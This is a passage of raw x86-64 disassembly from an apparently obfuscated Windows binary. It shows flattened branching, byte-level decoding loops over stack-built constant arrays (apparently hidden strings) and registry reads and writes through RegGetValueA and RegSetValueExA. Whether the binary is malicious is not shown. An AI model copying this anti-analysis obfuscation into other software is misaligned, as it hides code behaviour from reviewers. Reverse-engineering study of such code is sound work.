lea edx, [r11 + rcx]
sub dl, 0x34
inc rbx
jmp 0x1400d17f2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d1e8c
lea edx, [rbx + 0x24]
mov ecx, 2
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400d21ef
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d1eb1
lea edx, [rbx + 0x1c]
mov ecx, reloc.WLDAP32.dll_Ordinal_30
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400d21b8
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d1ccb
movzx r10d, bl
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x28
jmp 0x1400d2199
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d1f06
movzx r10d, bl
mov ecx, Ordinal_27
lea edx, [r10 + 0x42]
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400d2135
inc rax
cmp r8, rax
jne 0x1400d1f2f
movzx r10d, bl
mov ecx, 3
lea edx, [r10 - 0x4a]
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400d2199
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d1f51
lea ecx, [rbx + 0x32]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x5e
jmp 0x1400d21b8
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d1f76
lea edx, [rbx - 0x52]
mov ecx, Ordinal_35
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400d21bb
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d1c8a
lea ecx, [rbx + 0x2a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x26
jmp 0x1400d21ef
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d1fcc
lea ecx, [rbx + 0x58]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rbp + rbx + 0x40]
add rax, r9
add rbx, rax
lea edx, [r11 + rcx]
sub dl, 0x68
inc rbx
jmp 0x1400d17f2
inc rax
cmp r8, rax
jne 0x1400d1ff0
lea edx, [rbx - 0x2c]
mov ecx, reloc.WLDAP32.dll_Ordinal_26
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400d222f
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d2012
lea ecx, [rbx + 0x50]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x30
jmp 0x1400d21ef
cmp r8, rcx
jne 0x1400d2033
lea edx, [rbx - 0x34]
mov ecx, gethostname
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400d21bb
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d1c4d
movzx r10d, bl
lea ecx, [r10 - 0x3c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x5c
jmp 0x1400d2199
movzx ecx, byte [rbp + rbx + 0x40]
movzx r10d, bl
lea edx, [r10 + 0x30]
movzx eax, dl
sub dl, 0x50
and al, r11b
add al, al
sub cl, al
add dl, cl
add dl, r11b
jmp 0x1400d2199
lea edx, [rbx - 0x54]
mov ecx, Ordinal_41
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
jmp 0x1400d21ed
lea ecx, [rbx + 0x72]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rbp + rbx + 0x40]
add rax, r9
add rbx, rax
lea edx, [r11 + rcx]
sub dl, 0x1e
inc rbx
jmp 0x1400d17f2
lea edx, [rbx - 0x7e]
mov ecx, reloc.WS2_32.dll_gethostname
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400d21b8
lea edx, [rbx - 0x76]
mov ecx, Ordinal_32
movzx eax, dl
dec rbx
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
inc rbx
jmp 0x1400d17f2
movzx r10d, bl
mov ecx, 1
lea edx, [r10 - 0x6e]
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400d2135
movzx r10d, bl
lea ecx, [r10 - 0x66]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x36
sub r10b, 0xe
mov ecx, Ordinal_50
movzx eax, r10b
and al, r11b
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
mov byte [rbp + rbx + 0x40], cl
inc r9
dec rbx
inc rbx
jmp 0x1400d17f2
lea ecx, [rbx - 0x5e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x6e
dec rbx
inc rbx
jmp 0x1400d17f2
movzx r10d, bl
lea ecx, [r10 + 0x26]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0xa
add r10b, 0x6e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 2
add r10b, dl
add r10b, r11b
mov byte [rbp + rbx + 0x40], r10b
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400d17f2
lea rdx, [rbx + r15]
mov ecx, reloc.WS2_32.dll_recvfrom
movzx eax, dl
movzx r11d, r10b
and al, r10b
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
lea ecx, [rbx - 0x16]
inc r9
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x66
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x40], al
add rax, r9
sub rbx, rax
jmp 0x1400d222f
lea rdx, [rbx + r12]
movzx ecx, r10b
movzx eax, dl
movzx r11d, r10b
and al, r10b
sub dl, 0x7a
add al, al
sub cl, al
add dl, cl
lea ecx, [rbx + 0x28]
inc r8
movzx eax, cl
and al, r11b
add al, al
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
sub cl, 0x18
add cl, r11b
mov byte [rbp + rbx + 0x40], cl
add rbx, rax
movzx eax, byte [rbp + rbx + 0x40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d17f2
lea rcx, [rbx + r14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x16
movzx eax, byte [rbp + rbx + 0x40]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d17f2
add bl, 0x36
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea edx, [r11 + rbx]
sub dl, 0x7a
jmp 0x1400d17f0
sub bl, 0x46
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea edx, [r11 + rbx]
sub dl, 0x16
jmp 0x1400d17e0
lea r8, [rbp + 0x14c9de8]
jmp 0x1400d22d9
lea r8, [rbp + 0x12a7526]
jmp 0x1400d22d9
lea r8, [rbp + 0x40]
mov rcx, qword [rbp + 0x100]
lea rax, [rbp + 0xf8]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0xf0]
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
jne 0x1400d4427
cmp dword [rbp + 0xf0], 1
jne 0x1400d4427
mov dword [rbp + 0xf0], eax
xorps xmm0, xmm0
movzx r10d, byte [rbp + 0xf0]
xor eax, eax
mov qword [rbp + 0x78], rax
movabs rsi, 0xcda8e119a3f1d6eb
mov dword [rbp + 0x60], 0x21233759
movabs r14, 0x3aefe9e6c3808e43
mov dword [rbp + 0x64], 0x9f202236
movabs r15, 0x68faa34cebd584c1
movups xmmword [rbp + 0x68], xmm0
nop dword [rax + rax]
mov r8, qword [0x1402e0428]
mov r9, qword [0x1402e0430]
nop
xor edi, edi
cmp rdi, 0x20
jae 0x1400d2bb4
movzx ebx, byte [rbp + rdi + 0x60]
mov rdx, rbx
cmp r8, rdi
ja 0x1400d2bab
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d23be
lea r10, [rdi + rsi]
movzx eax, r10b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x6d
add r10b, dl
jmp 0x1400d23f7
je 0x1400d2b5f
inc rax
cmp r8, rax
je 0x1400d2b31
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d2b18
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400d2af9
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d2ab6
cmp r9, rdi
ja 0x1400d2ba2
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x1400d2421
lea r10d, [rdi + 0x47]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
add r10b, 0xf
add r10b, bl
jmp 0x1400d2460
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d2a9a
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d2a7b
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d2a62
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d29ea
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400d26c9
nop dword [rax]
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d26aa
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400d2686
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400d266a
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d264c
lea r8, [r9 + 0x200]
lea r9, [r8 + 0x200]
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400d2b87
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400d2564
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400d254b
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400d2607
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400d2470
mov r8, rax
lea r9, [rax + 6]
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400d25db
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400d25bd
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400d25a1
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400d257d
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400d2470
mov r8, rax
lea r9, [rax + 0x1000]
jmp 0x1400d2470
lea ecx, [rdi - 0x67]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x2f
jmp 0x1400d2460
lea ecx, [rdi - 0x13]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x7b
jmp 0x1400d2391
lea edx, [rdi - 0x74]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
movzx eax, dl
dec rdi
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc rdi
jmp 0x1400d2382
lea ecx, [rdi - 0x20]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x20
add r8, r9
jmp 0x1400d2b46
lea edx, [rdi + 0x5e]
mov ecx, gethostname
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400d2a26
lea edx, [rdi - 0x78]
movzx eax, bl
and al, dl
mov ecx, 0x24
sub cl, al
movzx eax, byte [rbp + rdi + 0x60]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
inc rdi
jmp 0x1400d2382
lea edx, [rdi + 0x1b]
movzx eax, bl
and al, dl
movzx r10d, bl
add al, al
sub r10b, al
add r10b, 0x43
add r10b, dl
cmp r9, 0x61
jb 0x1400d2979
mov ecx, 9
movzx r11d, dil
movzx eax, bl
lea edx, [r11 - 0x5e]
and al, dl
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x1400d2ad3
lea edx, [rdi - 0x2c]
mov ecx, reloc.WLDAP32.dll_Ordinal_26
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400d2a26
lea ecx, [rdi + 0x52]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x3e
add r8, r9
jmp 0x1400d2b46
lea edx, [rdi - 0x5a]
mov ecx, Ordinal_60
movzx eax, bl
dec rdi
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
inc rdi
jmp 0x1400d2382
mov ecx, reloc.WS2_32.dll_setsockopt
lea edx, [rdi - 6]
movzx eax, bl
movzx r11d, dil
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x1400d2ad0
lea rax, [r9 + 4]
cmp r8, rax
jae 0x1400d2758
lea edx, [rdi - 0x15]
movzx eax, bl
and al, dl
movzx r10d, bl
add al, al
sub r10b, al
sub r10b, 0x6d
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0x3e8
je 0x1400d29ce
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x1400d27da
lea edx, [rdi - 1]
movzx eax, bl
and al, dl
movzx r10d, bl
add al, al
sub r10b, al
add r10b, 7
add r10b, dl
cmp r8, 8
jae 0x1400d2986
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x1400d2885
mov ecx, ntohl
lea edx, [rdi + 0x46]
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x1400d261c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d278d
lea edx, [rdi - 0x72]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
movzx eax, byte [rbp + rdi + 0x60]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
inc rdi
jmp 0x1400d2382
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d27b1
mov ecx, gethostname
lea edx, [rdi + 0x3a]
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x1400d29ff
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d26ee
lea ecx, [rdi - 0x1a]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x4a
add r8, r9
jmp 0x1400d2b46
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d2802
movzx r11d, dil
movzx eax, bl
movzx r10d, bl
lea edx, [r11 - 0x2b]
and al, dl
add al, al
sub r10b, al
add r10b, 0x2d
jmp 0x1400d2ad0
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d282a
lea ecx, [rdi - 0x7f]
movzx eax, bl
and al, cl
dec rdi
add al, al
sub bl, al
lea r10d, [rcx + rbx]
add r10b, 0x79
inc rdi
jmp 0x1400d2382
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d2851
lea edx, [rdi + 0x57]
movzx eax, bl
and al, dl
movzx r10d, bl
add al, al
movzx r11d, dil
sub r10b, al
sub r10b, 0x61
jmp 0x1400d29a5
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400d2726
lea ecx, [rdi - 0x7b]
movzx eax, bl
and al, cl
add al, al
sub bl, al
movzx eax, byte [rbp + rdi + 0x60]
add rax, r9
add rdi, rax
lea r10d, [rcx + rbx]
add r10b, 0x5d
inc rdi
jmp 0x1400d2382
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d28ba
lea edx, [rdi + 0x1c]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
movzx eax, byte [rbp + rdi + 0x60]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
inc rdi
jmp 0x1400d2382
inc rax
cmp r8, rax
jne 0x1400d28e0
lea edx, [rdi - 0xe]
mov ecx, Ordinal_50
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400d2a26
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d2902
lea ecx, [rdi - 0x62]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x52
jmp 0x1400d2b46
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d2927
lea ecx, [rdi + 0x74]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x2c
add r8, r9
jmp 0x1400d2b46
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400d294c
movzx r11d, dil
movzx eax, bl
movzx r10d, bl
lea edx, [r11 + 0x4a]
and al, dl
add al, al
sub r10b, al
sub r10b, 6
jmp 0x1400d29a5
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400d261f
mov ecx, gethostname
movzx r11d, dil
movzx eax, bl
lea edx, [r11 - 0x34]
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x1400d2ad0
mov byte [rbp + rdi + 0x60], r10b
inc rdi
jmp 0x1400d2382
movzx r10d, byte [rbp + rdi + 0x60]
movzx r11d, dil
movzx eax, bl
lea edx, [r11 + 0x78]
and al, dl
add al, al
sub r10b, al
sub r10b, 0x48
add r10b, bl
add r10b, dl
add r11b, 0x63
movzx eax, bl
and al, r11b
movzx ecx, r10b
add al, al
sub cl, al
add cl, 0x4b
add cl, bl
add cl, r11b
mov byte [rbp + rdi + 0x60], cl
add r8, r9
jmp 0x1400d2b46
lea edx, [rdi + 0x4e]
movzx eax, bl
and al, dl
movzx r10d, bl
add al, al
sub r10b, al
sub r10b, byte [rbp + rdi + 0x60]
sub r10b, 0x22
jmp 0x1400d29ff
lea edx, [rdi + 0x21]
movzx eax, bl
and al, dl
movzx r10d, bl
add al, al
sub r10b, al
add r10b, 0x19
add r10b, dl
lea edx, [rdi + 0x39]
movzx eax, bl
and al, dl
inc r9
add al, al
movzx ecx, bl
sub cl, al
add cl, 0x71
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x60], al
add rax, r9
sub rdi, rax
lea edx, [rdi + 0x24]
movzx eax, bl
and al, dl
inc r8
mov ecx, 2
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x60], cl
add rdi, rax
movzx eax, byte [rbp + rdi + 0x60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d2382
lea ecx, [rdi + 0x4b]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0xd
jmp 0x1400d2b46
lea ecx, [rdi - 0x37]
movzx eax, bl
and al, cl
dec rdi
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x7f
inc rdi
jmp 0x1400d2382
movzx r11d, dil
movzx eax, bl
movzx r10d, bl
lea edx, [r11 + 0x1d]
and al, dl
add al, al
sub r10b, al
add r10b, 0x35
jmp 0x1400d2ad0
movzx r11d, dil
movzx eax, bl
movzx r10d, bl
lea edx, [r11 + 0x71]
and al, dl
add al, al
sub r10b, al
sub r10b, 0x17
add r10b, dl
movzx eax, bl
sub r11b, 0x73
and al, r11b
add al, al
sub bl, al
add bl, 0x25
add bl, r11b
mov byte [rbp + rdi + 0x60], bl
inc r9
dec rdi
inc rdi
jmp 0x1400d2382
lea ecx, [rdi - 0x3b]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x63
dec rdi
inc rdi
jmp 0x1400d2382
lea ecx, [rdi + 0x19]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
add r10b, 0x51
add r8, r9
jmp 0x1400d2b46
lea rcx, [rdi + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
add r10b, 0x2b
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400d2382
lea rcx, [rdi + r15]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x47
movzx eax, byte [rbp + rdi + 0x60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d2382
add dil, 0x41
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r10d, [rdi + rbx]
add r10b, 0x39
jmp 0x1400d2370
lea rdx, [rbp + 0x17c6644]
jmp 0x1400d2bb8
lea rdx, [rbp + 0x12e3d2f]
jmp 0x1400d2bb8
lea rdx, [rbp + 0x60]
mov rcx, qword [rbp + 0x100]
lea rax, [rbp + 0xf0]
mov dword [rsp + 0x28], 4
mov r9d, 4
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400d4427
movzx r11d, byte [rbp + 0xf0]
xor eax, eax
mov qword [rbp - 0x40], rax
movabs rsi, 0xc5b5a15806d16837
mov byte [rbp - 0x38], al
movabs r14, 0x5120e408147438a5
mov dword [rsp + 0x40], 0xdccac8f3
mov dword [rsp + 0x44], 0xcec9f69a
mov dword [rsp + 0x48], 0xa8b4a2d2
mov dword [rsp + 0x4c], 0xbee4abb3
mov dword [rsp + 0x50], 0xace8bca5
mov dword [rsp + 0x54], 0xa3aeaea4
mov dword [rsp + 0x58], 0xb0f0b5a9
mov dword [rsp + 0x5c], 0xbff4b1bc
mov dword [rsp + 0x60], 0xb9f8acb5
mov dword [rsp + 0x64], 0xffb2babd
mov dword [rsp + 0x68], 0x80958aba
mov dword [rsp + 0x6c], 0x83838980
mov dword [rsp + 0x70], 0x9ab3c9c8
mov dword [rsp + 0x74], 0x8882cd9d
mov dword [rsp + 0x78], 0x87d09589
mov dword [rsp + 0x7c], 0x9086d583
mov dword [rbp - 0x80], 0x899b8d83
mov dword [rbp - 0x7c], 0x8e87dd8e
mov dword [rbp - 0x78], 0x53207389
mov dword [rbp - 0x74], 0x76622547
mov dword [rbp - 0x70], 0x6c462974
mov dword [rbp - 0x6c], 0x2f7e7a70
mov dword [rbp - 0x68], 0x6a30607a
mov dword [rbp - 0x64], 0x39796763
mov dword [rbp - 0x60], 0x7c6a4936
mov dword [rbp - 0x5c], 0x583c686f
mov dword [rbp - 0x58], 0x51475570
mov dword [rbp - 0x54], 0x7555102
mov dword [rbp - 0x50], 0x5f5d4e54
mov dword [rbp - 0x4c], 0xf585f49
mov dword [rbp - 0x48], 0x1357595a
mov dword [rbp - 0x44], 0x371a7062
nop
mov r8, qword [0x1402e0428]
mov r9, qword [0x1402e0430]
nop
xor ebx, ebx
cmp rbx, 0x89
jae 0x1400d37f6
movzx r10d, byte [rsp + rbx + 0x40]
mov rdx, r10
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400d37ed
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d2d5a
lea r11, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
sub r11b, al
add r11b, 0x7f
add r11b, dl
jmp 0x1400d2d80
je 0x1400d3786
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d3765
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d371f
nop word [rax + rax]
cmp r9, rbx
ja 0x1400d37e4
lea rax, [r9 + 6]
cmp r8, rax
jae 0x1400d2da9
lea ecx, [rbx - 0x7d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x6b
jmp 0x1400d2e00
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400d3704
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d36e3
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400d368c
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d3674
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d35f8
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d35cf
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400d3343
nop dword [rax]
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d3326
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400d3303
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d32e3
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400d32c6
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400d32ac
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d3292
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400d3278
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400d325e
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400d3236
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d2e10
lea r8, [r9 + 0x80]
lea r9, [r8 + 0x20]
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400d37c9
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400d37ae
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400d2ff8
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400d2fde
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400d2fc4
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400d31ef
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400d31ac
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400d316e
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400d314c
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400d2e10
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x20]
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400d311f
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400d3100
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400d30e1
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400d30c2
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400d30a3
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400d3081
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400d305c
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400d3034
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400d3012
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400d2e10
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x1000]
jmp 0x1400d2e10
lea ecx, [rbx - 0x23]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xb
jmp 0x1400d2e00
lea ecx, [rbx + 0x6f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 9
jmp 0x1400d2d80
lea ecx, [rbx + 1]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 7
jmp 0x1400d2d25
lea edx, [rbx + 0x18]
mov ecx, Ordinal_45
movzx eax, dl
movzx edi, bl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400d373b
lea edx, [rbx - 0x56]
mov ecx, reloc.WLDAP32.dll_Ordinal_45
movzx eax, dl
inc r9
and al, r10b
dec rbx
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc rbx
jmp 0x1400d2d12
lea edx, [rbx + 0x3c]
mov ecx, reloc.WLDAP32.dll_Ordinal_46
movzx eax, dl
dec rbx
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc rbx
jmp 0x1400d2d12
lea edx, [rbx - 0x32]
mov ecx, Ordinal_50
movzx eax, dl
movzx edi, bl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400d36a8
lea edx, [rbx + 0x60]
mov ecx, Ordinal_50
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400d36c7
lea edx, [rbx - 0xe]
mov ecx, Ordinal_50
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400d36ca
lea edx, [rbx - 0x7c]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400d3611
lea edx, [rbx + 0x16]
mov ecx, 0x33
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400d3637
lea edx, [rbx - 0x58]
mov ecx, 0x34
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rsp + rbx + 0x40]
add rax, r9
add rbx, rax
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc rbx
jmp 0x1400d2d12
lea ecx, [rbx - 0x6b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x13
mov byte [rsp + rbx + 0x40], r11b
inc rbx
jmp 0x1400d2d12
lea ecx, [rbx + 0x27]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x11
cmp r9, 0x42
jb 0x1400d3161
